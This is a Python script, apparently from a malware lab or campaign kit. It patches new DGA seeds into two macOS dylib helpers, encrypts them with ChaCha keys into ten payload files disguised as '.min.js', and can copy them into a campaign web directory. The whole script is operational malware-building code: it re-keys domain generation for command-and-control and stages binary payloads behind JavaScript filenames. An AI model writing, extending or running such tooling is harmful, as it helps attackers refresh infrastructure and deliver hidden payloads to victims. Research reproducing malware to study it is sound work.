#!/usr/bin/env python3 """Patch DGA seeds in the two unique type-0x01 dylibs and rebuild all 10 secondary .min.js.""" from __future__ import annotations import argparse import json import shutil from pathlib import Path from _common import ( GROUP_DYLIBS, LAB_ROOT, SECONDARY_KEYS, SOURCE_ROOT, ensure_tree_layout, patch_seeds_in_dylib, set_tree_root, sha256_hex, tree_root, validate_seed_arg, ) from _secondary_pack import decrypt_secondary_minjs, encrypt_secondary_minjs import _common def main() -> int: parser = argparse.ArgumentParser( description=( "Replace Deployment/Reporting seeds in type-0x01 helpers and " "re-encrypt all 10 secondary .min.js (same filenames, per-stem ChaCha keys)." ) ) parser.add_argument( "--deployment-seed", required=True, help="new Deployment DGA seed (<=32 ASCII; recommend 32 hex chars)", ) parser.add_argument( "--reporting-seed", required=True, help="new Reporting DGA seed (<=32 ASCII; recommend 32 hex chars)", ) parser.add_argument( "--root", type=Path, help="project root containing web/ + sync/ (required with --apply)", ) parser.add_argument( "--out", type=Path, help="output directory for rebuilt .min.js (default: /out/secondary or lab out/)", ) parser.add_argument( "--apply", action="store_true", help="also copy outputs into /web/.../", ) args = parser.parse_args() dep = validate_seed_arg("--deployment-seed", args.deployment_seed) rep = validate_seed_arg("--reporting-seed", args.reporting_seed) if args.root: set_tree_root(args.root) ensure_tree_layout(tree_root()) if args.apply: if not args.root: raise SystemExit("--apply requires --root (refusing to write into source/)") if tree_root().resolve() == SOURCE_ROOT.resolve(): raise SystemExit("refusing --apply into source/; create a project first") out = args.out or (tree_root() / "out" / "secondary" if args.root else LAB_ROOT / "out" / "secondary") # re-bind after set_tree_root campaign_dir = _common.CAMPAIGN_DIR meta = json.loads(SECONDARY_KEYS.read_text()) stems = meta["stems"] patched: dict[str, bytes] = {} for group, path in GROUP_DYLIBS.items(): if not path.is_file(): raise SystemExit(f"missing source dylib: {path}") patched[group] = patch_seeds_in_dylib( path.read_bytes(), dep, rep, expect_dep=1, expect_rep=1, label=path.name, ) print( f"group {group}: patched {path.name} " f"sha256={sha256_hex(patched[group])[:16]}… size={len(patched[group])}" ) out.mkdir(parents=True, exist_ok=True) (out / "dylibs").mkdir(exist_ok=True) for group, data in patched.items(): (out / "dylibs" / f"group_{group}_type0x01.dylib").write_bytes(data) built = [] for stem, info in stems.items(): group = info["group"] key = bytes.fromhex(info["key"]) wire = encrypt_secondary_minjs(patched[group], key) # sanity: decrypt back check = decrypt_secondary_minjs(wire, key) if check != patched[group]: raise SystemExit(f"round-trip failed for {stem}") dest = out / f"{stem}.min.js" dest.write_bytes(wire) built.append( { "stem": stem, "group": group, "size": len(wire), "sha256": sha256_hex(wire), } ) print(f" wrote {dest.name} ({len(wire)} bytes)") manifest = { "deployment_seed": dep, "reporting_seed": rep, "files": built, "group_dylib_sha256": {g: sha256_hex(d) for g, d in patched.items()}, } (out / "MANIFEST.json").write_text(json.dumps(manifest, indent=2) + "\n") if args.apply: for item in built: src = out / f"{item['stem']}.min.js" dst = campaign_dir / src.name shutil.copy2(src, dst) print(f"applied -> {dst}") print(f"\nDone. Output: {out}") if not args.apply: print(f"Re-run with --apply --root to overwrite files under web/") return 0 if __name__ == "__main__": raise SystemExit(main())